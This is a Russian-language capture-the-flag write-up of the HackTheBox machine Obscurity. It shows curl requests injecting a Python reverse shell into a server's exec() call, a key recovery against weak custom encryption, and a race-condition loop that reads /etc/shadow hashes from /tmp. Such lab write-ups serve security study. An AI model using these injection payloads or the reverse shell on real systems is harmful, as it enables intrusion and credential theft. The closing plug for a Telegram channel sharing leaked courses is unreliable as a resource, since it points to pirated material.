HackTheBox. Прохождение Obscurity. OS Command Injection и Race Condition
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем уязвимость в программном коде python, а также выполняем атаку Race Condition.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.168, который я добавляю в /etc/hosts.
10.10.10.168 obscurity.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A obscurity.htb -p22,8080
На хосте работают служба SSH и веб-сервер. Идем на смотреть веб.
Таким образом, имеем:
- Самописный сервер
- Используется шифрование
- Код сервера в файле SuperSecureServer.py в каком-то неизвестном каталоге.
Так как мы знаем название файла, давайте переберем каталог. Сделаем это с помощью wfuzz. В качестве параметра передаем словарь, URL и код ответа, который нужно игнорировать.
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
И мы находим эту директорию. Давайте скачаем код сервера.
wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Entry Point
Открываем и анализируем сервер. Находим потенциально опасное использование функции exec ().
Давайте допишем в код несколько строк.
Так мы сможем запустить сервер локально и посмотреть, что попадает в функцию exec (). Запустим сервер, и пошлем запрос.
curl http://127.0.0.1:33333/asd
curl "http://127.0.0.1:33333/asd'"
curl "http://127.0.0.1:33333/asd''"
Таким образом имеем OS Command injection.
curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Будем использовать следующий реверс шелл python.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Так как в коде сервера уже есть импорт нужных модулей, из шелла их импорт убираем. А также экранируем кавычки и квадратные скобки.
curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Отлично! Все работает на локальной машине. Давайте выполним этот запрос на сервер.
curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Имеем точку входа.
USER
Осматриваемся на сервере и находим доступные для чтения файлы в домашней директории пользователя.
Читаем файлы.
Таким образом, файлы зашифрованы. Скачиваем все, что нам дается, на локальный хост. Как сказано в сообщении зашифрован файл check.txt, а результат в out.txt. Посмотрим алгоритм.
Таким образом, при шифровании происходит сложение символа текста и символа ключа по модулю 255. При расшифровывании данные символы вычитаются.
То есть ([check.txt] + [key])% 255 = out.txt и ([out.txt] — [key])%255=check.txt. Тогда ([out.txt] — [check.txt])%255=key.
И просмотрим ключ.
И теперь на этом ключе расшифровываем пароль пользователя.
С данным паролем подключаемся по SSH и забираем флаг пользователя.
ROOT
Посмотрим настройки sudo, а именно, может ли пользователь robert выполнять какие-либо команды под sudo без пароля.
Посмотрим код. Код потребует аутентификационные данные. Потом скопирует содержимое файла /etc/shadow в каталог /tmp/SSH/*. Потом проверит аутентификационные данные и удалит файл.
Таким образом, мы должны успеть скопировать файл из /etc/SSH/*, пока он не будет удален. Запустим второй терминал и выполним в нем бесконечный цикл чтения.
for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Теперь запускаем программу, вводим любые данные и видим хеши.
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
И они легко ломаются.
Забираем флаг рута.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.